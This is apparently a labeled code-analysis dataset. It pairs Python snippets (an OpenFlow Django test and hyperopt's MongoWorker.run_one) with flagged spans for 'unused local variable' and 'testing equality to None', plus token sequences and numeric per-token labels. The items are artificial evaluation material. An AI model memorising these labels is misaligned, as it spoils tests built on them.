2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
fp7-ofelia/ocf/expedient/src/python/plugins/openflow/tests/manual_test/manual.py
[ { "content": " def test_case1(self):\n from django.contrib.auth.models import User\n from openflow.optin_manager.opts.models import UserFlowSpace,Experiment, ExperimentFLowSpace\n\n # create a second experiemnt \n username = \"user\"\n password = \"password\"\n u = User.objects.create(username=username, is_active=True)\n u.set_password(password)\n u.save()\n self.user_ip_src_s = random.randint(0,0x80000000) & 0xFFFF0000\n self.user_ip_src_e = random.randint(0x80000000,0xFFFFFFFF) & 0xFFFF0000\n #assign flowspace to user\n adm = User.objects.get(username=\"admin\")\n ufs = UserFlowSpace(user=u, ip_src_s=self.user_ip_src_s,\n ip_src_e=self.user_ip_src_e,approver=adm)\n ufs.save()\n \n Experiment.objects.all().delete()\n ExperimentFLowSpace.objects.all().delete()\n \n exp = Experiment.objects.create(slice_id=\"first_id\", project_name=\"first_project\",\n project_desc=\"project description\", slice_name=\"first slice\",\n slice_desc=\"slice description\", controller_url=\"http://controller.com\",\n owner_email=\"owner email\", owner_password=\"owner password\") \n expfs = ExperimentFLowSpace.objects.create(exp=exp, dpid=\"00:00:00:00:00:00:01\",\n ip_src_s=0x05866000, \n ip_src_e=0xa0000000, \n ) \n \n exp = Experiment.objects.create(slice_id=\"second_id\", project_name=\"second_project\",\n project_desc=\"project description\", slice_name=\"second slice\",\n slice_desc=\"slice description\", controller_url=\"http://controller.com\",\n owner_email=\"owner email\", owner_password=\"owner password\") \n expfs = ExperimentFLowSpace.objects.create(exp=exp, dpid=\"00:00:00:00:00:00:02\",\n ip_src_s=0x00123456, \n ip_src_e=0x90123456, \n ) \n \n exp = Experiment.objects.create(slice_id=\"third_id\", project_name=\"third_project\",\n project_desc=\"project description\", slice_name=\"third slice\",\n slice_desc=\"slice description\", controller_url=\"http://controller.com\",\n owner_email=\"owner email\", owner_password=\"owner password\") \n expfs = ExperimentFLowSpace.objects.create(exp=exp, dpid=\"00:00:00:00:00:00:03\",\n ip_src_s=0x00333456, \n ip_src_e=0x95123456, \n ) ", "metadata": "root.ManualTests.test_case1", "header": "['class', 'ManualTests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 90 }, { "content": " def test_case2(self):\n from django.contrib.auth.models import User\n from openflow.optin_manager.opts.models import UserFlowSpace,Experiment, ExperimentFLowSpace\n\n # create a second experiemnt \n username = \"user\"\n password = \"password\"\n u = User.objects.create(username=username, is_active=True)\n u.set_password(password)\n u.save()\n\n adm = User.objects.get(username=\"admin\")\n\n # create a second experiemnt \n username = \"user2\"\n password = \"password\"\n u = User.objects.create(username=username, is_active=True)\n u.set_password(password)\n u.save()\n\n \n Experiment.objects.all().delete()\n ExperimentFLowSpace.objects.all().delete()\n \n exp = Experiment.objects.create(slice_id=\"first_id\", project_name=\"first_project\",\n project_desc=\"project description\", slice_name=\"first slice\",\n slice_desc=\"slice description\", controller_url=\"http://controller.com\",\n owner_email=\"owner email\", owner_password=\"owner password\") \n expfs = ExperimentFLowSpace.objects.create(exp=exp, dpid=\"00:00:00:00:00:00:01\",\n ip_src_s=0x05866000, \n ip_src_e=0xa0000000, \n ) \n \n exp = Experiment.objects.create(slice_id=\"second_id\", project_name=\"second_project\",\n project_desc=\"project description\", slice_name=\"second slice\",\n slice_desc=\"slice description\", controller_url=\"http://controller.com\",\n owner_email=\"owner email\", owner_password=\"owner password\") \n expfs = ExperimentFLowSpace.objects.create(exp=exp, dpid=\"00:00:00:00:00:00:02\",\n ip_src_s=0x00123456, \n ip_src_e=0x90123456, \n ) \n \n exp = Experiment.objects.create(slice_id=\"third_id\", project_name=\"third_project\",\n project_desc=\"project description\", slice_name=\"third slice\",\n slice_desc=\"slice description\", controller_url=\"http://controller.com\",\n owner_email=\"owner email\", owner_password=\"owner password\") \n expfs = ExperimentFLowSpace.objects.create(exp=exp, dpid=\"00:00:00:00:00:00:03\",\n ip_src_s=0x00333456, \n ip_src_e=0x95123456, \n ) ", "metadata": "root.ManualTests.test_case2", "header": "['class', 'ManualTests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 139 } ]
[ { "span": "expfs ", "start_line": 133, "start_column": 8, "end_line": 133, "end_column": 13 }, { "span": "adm ", "start_line": 150, "start_column": 8, "end_line": 150, "end_column": 11 }, { "span": "expfs ", "start_line": 185, "start_column": 8, "end_line": 185, "end_column": 13 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Manu", "al", "Tests_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "case", "1_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "django_", "._", "contrib_", "._", "auth_", "._", "models_", "import_", "User_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openf", "low_", "._", "opti", "n", "\\u", "manager_", "._", "opts_", "._", "models_", "import_", "User", "Flow", "Space_", ",_", "Experiment_", ",_", "Experiment", "FL", "ow", "Space_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "a", " ", "second", " ", "expe", "rie", "mnt", " _", "\\u\\u\\uNL\\u\\u\\u_", "username_", "=_", "\"", "user", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "password_", "=_", "\"", "password", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "=_", "User_", "._", "objects_", "._", "create_", "(_", "username_", "=_", "username_", ",_", "is", "\\u", "active_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "._", "set\\u", "password_", "(_", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "user", "\\u", "ip", "\\u", "src", "\\u", "s_", "=_", "random_", "._", "randint_", "(_", "0_", ",_", "0x80000", "000_", ")_", "&_", "0xFFFF", "0000_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "user", "\\u", "ip", "\\u", "src", "\\u", "e_", "=_", "random_", "._", "randint_", "(_", "0x80000", "000_", ",_", "0xFFFFFFFF", "_", ")_", "&_", "0xFFFF", "0000_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "assign", " ", "flow", "space", " ", "to", " ", "user_", "\\u\\u\\uNL\\u\\u\\u_", "adm", "_", "=_", "User_", "._", "objects_", "._", "get_", "(_", "username_", "=_", "\"", "admin", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uf", "s_", "=_", "User", "Flow", "Space_", "(_", "user_", "=_", "u_", ",_", "ip", "\\u", "src", "\\u", "s_", "=_", "self_", "._", "user", "\\u", "ip", "\\u", "src", "\\u", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ip", "\\u", "src", "\\u", "e_", "=_", "self_", "._", "user", "\\u", "ip", "\\u", "src", "\\u", "e_", ",_", "approve", "r_", "=_", "adm", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uf", "s_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Experiment_", "._", "objects_", "._", "all_", "(_", ")_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Experiment", "FL", "ow", "Space_", "._", "objects_", "._", "all_", "(_", ")_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "exp_", "=_", "Experiment_", "._", "objects_", "._", "create_", "(_", "slice", "\\u", "id_", "=_", "\"", "first", "\\u", "id", "\"_", ",_", "project", "\\u", "name_", "=_", "\"", "first", "\\u", "project", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "project", "\\u", "desc_", "=_", "\"", "project", " ", "description", "\"_", ",_", "slice", "\\u", "name_", "=_", "\"", "first", " ", "slice", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "slice", "\\u", "desc_", "=_", "\"", "slice", " ", "description", "\"_", ",_", "controlle", "r", "\\u", "url_", "=_", "\"", "http", "://", "controlle", "r", ".", "com", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "owner", "\\u", "email_", "=_", "\"", "owner", " ", "email", "\"_", ",_", "owner", "\\u", "password_", "=_", "\"", "owner", " ", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exp", "fs_", "=_", "Experiment", "FL", "ow", "Space_", "._", "objects_", "._", "create_", "(_", "exp_", "=_", "exp_", ",_", "dpid_", "=_", "\"", "00", ":", "00", ":", "00", ":", "00", ":", "00", ":", "00", ":", "01", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ip", "\\u", "src", "\\u", "s_", "=_", "0x05", "866", "000_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ip", "\\u", "src", "\\u", "e_", "=_", "0xa", "0000000", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "exp_", "=_", "Experiment_", "._", "objects_", "._", "create_", "(_", "slice", "\\u", "id_", "=_", "\"", "second", "\\u", "id", "\"_", ",_", "project", "\\u", "name_", "=_", "\"", "second", "\\u", "project", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "project", "\\u", "desc_", "=_", "\"", "project", " ", "description", "\"_", ",_", "slice", "\\u", "name_", "=_", "\"", "second", " ", "slice", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "slice", "\\u", "desc_", "=_", "\"", "slice", " ", "description", "\"_", ",_", "controlle", "r", "\\u", "url_", "=_", "\"", "http", "://", "controlle", "r", ".", "com", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "owner", "\\u", "email_", "=_", "\"", "owner", " ", "email", "\"_", ",_", "owner", "\\u", "password_", "=_", "\"", "owner", " ", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exp", "fs_", "=_", "Experiment", "FL", "ow", "Space_", "._", "objects_", "._", "create_", "(_", "exp_", "=_", "exp_", ",_", "dpid_", "=_", "\"", "00", ":", "00", ":", "00", ":", "00", ":", "00", ":", "00", ":", "02", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ip", "\\u", "src", "\\u", "s_", "=_", "0x001", "23456", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ip", "\\u", "src", "\\u", "e_", "=_", "0x90", "12345", "6_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "exp_", "=_", "Experiment_", "._", "objects_", "._", "create_", "(_", "slice", "\\u", "id_", "=_", "\"", "third", "\\u", "id", "\"_", ",_", "project", "\\u", "name_", "=_", "\"", "third", "\\u", "project", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "project", "\\u", "desc_", "=_", "\"", "project", " ", "description", "\"_", ",_", "slice", "\\u", "name_", "=_", "\"", "third", " ", "slice", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "slice", "\\u", "desc_", "=_", "\"", "slice", " ", "description", "\"_", ",_", "controlle", "r", "\\u", "url_", "=_", "\"", "http", "://", "controlle", "r", ".", "com", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "owner", "\\u", "email_", "=_", "\"", "owner", " ", "email", "\"_", ",_", "owner", "\\u", "password_", "=_", "\"", "owner", " ", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exp", "fs_", "=_", "Experiment", "FL", "ow", "Space_", "._", "objects_", "._", "create_", "(_", "exp_", "=_", "exp_", ",_", "dpid_", "=_", "\"", "00", ":", "00", ":", "00", ":", "00", ":", "00", ":", "00", ":", "03", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ip", "\\u", "src", "\\u", "s_", "=_", "0x003", "334", "56_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ip", "\\u", "src", "\\u", "e_", "=_", "0x95", "12345", "6_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Manu", "al", "Tests_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "case", "2_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "django_", "._", "contrib_", "._", "auth_", "._", "models_", "import_", "User_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openf", "low_", "._", "opti", "n", "\\u", "manager_", "._", "opts_", "._", "models_", "import_", "User", "Flow", "Space_", ",_", "Experiment_", ",_", "Experiment", "FL", "ow", "Space_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "a", " ", "second", " ", "expe", "rie", "mnt", " _", "\\u\\u\\uNL\\u\\u\\u_", "username_", "=_", "\"", "user", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "password_", "=_", "\"", "password", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "=_", "User_", "._", "objects_", "._", "create_", "(_", "username_", "=_", "username_", ",_", "is", "\\u", "active_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "._", "set\\u", "password_", "(_", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "adm", "_", "=_", "User_", "._", "objects_", "._", "get_", "(_", "username_", "=_", "\"", "admin", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "a", " ", "second", " ", "expe", "rie", "mnt", " _", "\\u\\u\\uNL\\u\\u\\u_", "username_", "=_", "\"", "user", "2", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "password_", "=_", "\"", "password", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "=_", "User_", "._", "objects_", "._", "create_", "(_", "username_", "=_", "username_", ",_", "is", "\\u", "active_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "._", "set\\u", "password_", "(_", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Experiment_", "._", "objects_", "._", "all_", "(_", ")_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Experiment", "FL", "ow", "Space_", "._", "objects_", "._", "all_", "(_", ")_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "exp_", "=_", "Experiment_", "._", "objects_", "._", "create_", "(_", "slice", "\\u", "id_", "=_", "\"", "first", "\\u", "id", "\"_", ",_", "project", "\\u", "name_", "=_", "\"", "first", "\\u", "project", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "project", "\\u", "desc_", "=_", "\"", "project", " ", "description", "\"_", ",_", "slice", "\\u", "name_", "=_", "\"", "first", " ", "slice", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "slice", "\\u", "desc_", "=_", "\"", "slice", " ", "description", "\"_", ",_", "controlle", "r", "\\u", "url_", "=_", "\"", "http", "://", "controlle", "r", ".", "com", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "owner", "\\u", "email_", "=_", "\"", "owner", " ", "email", "\"_", ",_", "owner", "\\u", "password_", "=_", "\"", "owner", " ", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exp", "fs_", "=_", "Experiment", "FL", "ow", "Space_", "._", "objects_", "._", "create_", "(_", "exp_", "=_", "exp_", ",_", "dpid_", "=_", "\"", "00", ":", "00", ":", "00", ":", "00", ":", "00", ":", "00", ":", "01", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ip", "\\u", "src", "\\u", "s_", "=_", "0x05", "866", "000_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ip", "\\u", "src", "\\u", "e_", "=_", "0xa", "0000000", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "exp_", "=_", "Experiment_", "._", "objects_", "._", "create_", "(_", "slice", "\\u", "id_", "=_", "\"", "second", "\\u", "id", "\"_", ",_", "project", "\\u", "name_", "=_", "\"", "second", "\\u", "project", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "project", "\\u", "desc_", "=_", "\"", "project", " ", "description", "\"_", ",_", "slice", "\\u", "name_", "=_", "\"", "second", " ", "slice", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "slice", "\\u", "desc_", "=_", "\"", "slice", " ", "description", "\"_", ",_", "controlle", "r", "\\u", "url_", "=_", "\"", "http", "://", "controlle", "r", ".", "com", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "owner", "\\u", "email_", "=_", "\"", "owner", " ", "email", "\"_", ",_", "owner", "\\u", "password_", "=_", "\"", "owner", " ", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exp", "fs_", "=_", "Experiment", "FL", "ow", "Space_", "._", "objects_", "._", "create_", "(_", "exp_", "=_", "exp_", ",_", "dpid_", "=_", "\"", "00", ":", "00", ":", "00", ":", "00", ":", "00", ":", "00", ":", "02", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ip", "\\u", "src", "\\u", "s_", "=_", "0x001", "23456", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ip", "\\u", "src", "\\u", "e_", "=_", "0x90", "12345", "6_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "exp_", "=_", "Experiment_", "._", "objects_", "._", "create_", "(_", "slice", "\\u", "id_", "=_", "\"", "third", "\\u", "id", "\"_", ",_", "project", "\\u", "name_", "=_", "\"", "third", "\\u", "project", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "project", "\\u", "desc_", "=_", "\"", "project", " ", "description", "\"_", ",_", "slice", "\\u", "name_", "=_", "\"", "third", " ", "slice", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "slice", "\\u", "desc_", "=_", "\"", "slice", " ", "description", "\"_", ",_", "controlle", "r", "\\u", "url_", "=_", "\"", "http", "://", "controlle", "r", ".", "com", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "owner", "\\u", "email_", "=_", "\"", "owner", " ", "email", "\"_", ",_", "owner", "\\u", "password_", "=_", "\"", "owner", " ", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exp", "fs_", "=_", "Experiment", "FL", "ow", "Space_", "._", "objects_", "._", "create_", "(_", "exp_", "=_", "exp_", ",_", "dpid_", "=_", "\"", "00", ":", "00", ":", "00", ":", "00", ":", "00", ":", "00", ":", "03", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ip", "\\u", "src", "\\u", "s_", "=_", "0x003", "334", "56_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ip", "\\u", "src", "\\u", "e_", "=_", "0x95", "12345", "6_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Testing equality to None
hyperopt/hyperopt/hyperopt/mongoexp.py
[ { "content": " def run_one(self,\n host_id=None,\n reserve_timeout=None,\n erase_created_workdir=False,\n ):\n if host_id == None:\n host_id = '%s:%i'%(socket.gethostname(), os.getpid()),\n job = None\n start_time = time.time()\n mj = self.mj\n while job is None:\n if (reserve_timeout\n and (time.time() - start_time) > reserve_timeout):\n raise ReserveTimeout()\n job = mj.reserve(host_id, exp_key=self.exp_key)\n if not job:\n interval = (1 +\n numpy.random.rand()\n * (float(self.poll_interval) - 1.0))\n logger.info('no job found, sleeping for %.1fs' % interval)\n time.sleep(interval)\n\n logger.debug('job found: %s' % str(job))\n\n # -- don't let the cmd mess up our trial object\n spec = spec_from_misc(job['misc'])\n\n ctrl = MongoCtrl(\n trials=MongoTrials(mj, exp_key=job['exp_key'], refresh=False),\n read_only=False,\n current_trial=job)\n if self.workdir is None:\n workdir = job['misc'].get('workdir', os.getcwd())\n if workdir is None:\n workdir = ''\n workdir = os.path.join(workdir, str(job['_id']))\n else:\n workdir = self.workdir\n workdir = os.path.abspath(os.path.expanduser(workdir))\n try:\n root_logger = logging.getLogger()\n if self.logfilename:\n self.make_log_handler()\n root_logger.addHandler(self.log_handler)\n\n cmd = job['misc']['cmd']\n cmd_protocol = cmd[0]\n try:\n if cmd_protocol == 'cpickled fn':\n worker_fn = cPickle.loads(cmd[1])\n elif cmd_protocol == 'call evaluate':\n bandit = cPickle.loads(cmd[1])\n worker_fn = bandit.evaluate\n elif cmd_protocol == 'token_load':\n cmd_toks = cmd[1].split('.')\n cmd_module = '.'.join(cmd_toks[:-1])\n worker_fn = exec_import(cmd_module, cmd[1])\n elif cmd_protocol == 'bandit_json evaluate':\n bandit = json_call(cmd[1])\n worker_fn = bandit.evaluate\n elif cmd_protocol == 'driver_attachment':\n #name = 'driver_attachment_%s' % job['exp_key']\n blob = ctrl.trials.attachments[cmd[1]]\n bandit_name, bandit_args, bandit_kwargs = cPickle.loads(blob)\n worker_fn = json_call(bandit_name,\n args=bandit_args,\n kwargs=bandit_kwargs).evaluate\n elif cmd_protocol == 'domain_attachment':\n blob = ctrl.trials.attachments[cmd[1]]\n try:\n domain = cPickle.loads(blob)\n except BaseException, e:\n logger.info('Error while unpickling. Try installing dill via \"pip install dill\" for enhanced pickling support.')\n raise\n worker_fn = domain.evaluate\n else:\n raise ValueError('Unrecognized cmd protocol', cmd_protocol)\n\n with temp_dir(workdir, erase_created_workdir), working_dir(workdir):\n result = worker_fn(spec, ctrl)\n result = SONify(result)\n except BaseException, e:\n #XXX: save exception to database, but if this fails, then\n # at least raise the original traceback properly\n logger.info('job exception: %s' % str(e))\n ctrl.checkpoint()\n mj.update(job,\n {'state': JOB_STATE_ERROR,\n 'error': (str(type(e)), str(e))})\n raise\n finally:\n if self.logfilename:\n root_logger.removeHandler(self.log_handler)\n\n logger.info('job finished: %s' % str(job['_id']))\n attachments = result.pop('attachments', {})\n for aname, aval in attachments.items():\n logger.info(\n 'mongoexp: saving attachment name=%s (%i bytes)' % (\n aname, len(aval)))\n ctrl.attachments[aname] = aval\n ctrl.checkpoint(result)\n mj.update(job, {'state': JOB_STATE_DONE})", "metadata": "root.MongoWorker.run_one", "header": "['class', 'MongoWorker', '(', 'object', ')', ':', '___EOS___']", "index": 996 } ]
[ { "span": "host_id == None:", "start_line": 1001, "start_column": 11, "end_line": 1001, "end_column": 26 } ]
[]
1
true
[ "[CLS]_", "Test", "ing_", "equality", "_", "to_", "None_", "[SEP]_", "class_", "Mon", "go", "Worker_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run", "\\u", "one_", "(_", "self_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "host", "\\u", "id_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "reserve", "\\u", "timeout_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "erase", "\\u", "created", "\\u", "workdir_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "host", "\\u", "id_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "host", "\\u", "id_", "=_", "'%", "s", ":", "%", "i", "'_", "%_", "(_", "socket_", "._", "gethostname_", "(_", ")_", ",_", "os_", "._", "getpid_", "(_", ")_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "job_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "time_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mj", "_", "=_", "self_", "._", "mj", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "job_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "reserve", "\\u", "timeout_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "(_", "time_", "._", "time_", "(_", ")_", "-_", "start", "\\u", "time_", ")_", ">_", "reserve", "\\u", "timeout_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Reserve", "Timeout_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "job_", "=_", "mj", "_", "._", "reserve", "_", "(_", "host", "\\u", "id_", ",_", "exp", "\\u", "key_", "=_", "self_", "._", "exp", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "job_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "interval_", "=_", "(_", "1_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "numpy_", "._", "random_", "._", "rand_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "*_", "(_", "float_", "(_", "self_", "._", "poll", "\\u", "interval_", ")_", "-_", "1.0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "info_", "(_", "'", "no", " ", "job", " ", "found", ",", " ", "sleep", "ing", " ", "for", " ", "%", ".1", 